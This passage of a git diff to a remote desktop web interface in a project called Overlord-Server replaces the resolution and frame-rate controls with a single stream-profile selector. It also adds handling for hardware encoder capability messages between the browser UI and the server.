if (streamProfileDetail) { + const providers = streamProfileSelect.selectedOptions[0]?.dataset?.providers || ""; + streamProfileDetail.textContent = providers ? `Available through ${providers}.` : + (msg.detail || (msg.probed ? "Profiles tested on this display adapter." : "Safe fallback profiles shown.")); + } + if (desiredStreaming) pushStreamProfile(); + } + + if (streamProfileSelect) { + streamProfileSelect.addEventListener("change", function () { + savedStreamProfile = streamProfileSelect.value; + const providers = streamProfileSelect.selectedOptions[0]?.dataset?.providers || ""; + if (streamProfileDetail && providers) streamProfileDetail.textContent = `Available through ${providers}.`; + pushStreamProfile(); sharedSettingsSaver.scheduleSave(); }); } @@ -1320,6 +1368,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s sendCmd("desktop_select_display", { display: parseInt(displaySelect.value, 10), }); + requestEncoderCapabilities(); sharedSettingsSaver.scheduleSave(); }); @@ -1346,8 +1395,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s desiredStreaming, display: displaySelect?.value ?? "", quality: qualitySlider?.value ?? "", - resolution: resolutionSelect?.value ?? "", - targetFps: targetFpsSelect?.value ?? "", + streamProfile: streamProfileSelect?.value ?? "", prefersH264, duplication: !!duplicationCtrl?.checked, clientOs, @@ -1370,8 +1418,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s if (prefersH264 && !useSoftwareH264()) { ensureDuplicationForH264(); } - pushTargetFps(); - pushResolution(); + pushStreamProfile(); desiredStreaming = true; lastFrameAt = 0; firstFrameLogged = false; @@ -1924,6 +1971,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s } const msg = decodeMsgpack(buf); + if (msg && msg.type === "desktop_encoder_capabilities") { + applyEncoderCapabilities(msg); + return; + } if (msg && msg.type === "status" && msg.status) { handleStatus(msg); return; @@ -1959,6 +2010,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s } const msg = decodeMsgpack(ev.data); + if (msg && msg.type === "desktop_encoder_capabilities") { + applyEncoderCapabilities(msg); + return; + } if (msg && msg.type === "status" && msg.status) { handleStatus(msg); return; @@ -2000,8 +2055,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s display: parseInt(displaySelect.value, 10) || 0, }); } - pushTargetFps(); - pushResolution(); + pushStreamProfile(); const mode = getWebrtcMode(); if (mode === "relayed") { sendCmd("desktop_start", { webrtc: true }); @@ -2015,6 +2069,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s setStreamState("idle", "Stopped"); } sendCmd("desktop_record_status", {}); + requestEncoderCapabilities(); fetchClientInfo().then(() => { if (displaySelect && displaySelect.value) { console.debug("rd: initial select display", displaySelect.value); diff --git a/Overlord-Server/public/remotedesktop.html b/Overlord-Server/public/remotedesktop.html index 61f8ebe..8232b84 100644 --- a/Overlord-Server/public/remotedesktop.html +++ b/Overlord-Server/public/remotedesktop.html @@ -139,18 +139,6 @@ -
- - -
@@ -177,21 +165,19 @@
- +
+
Checking hardware encoder profiles…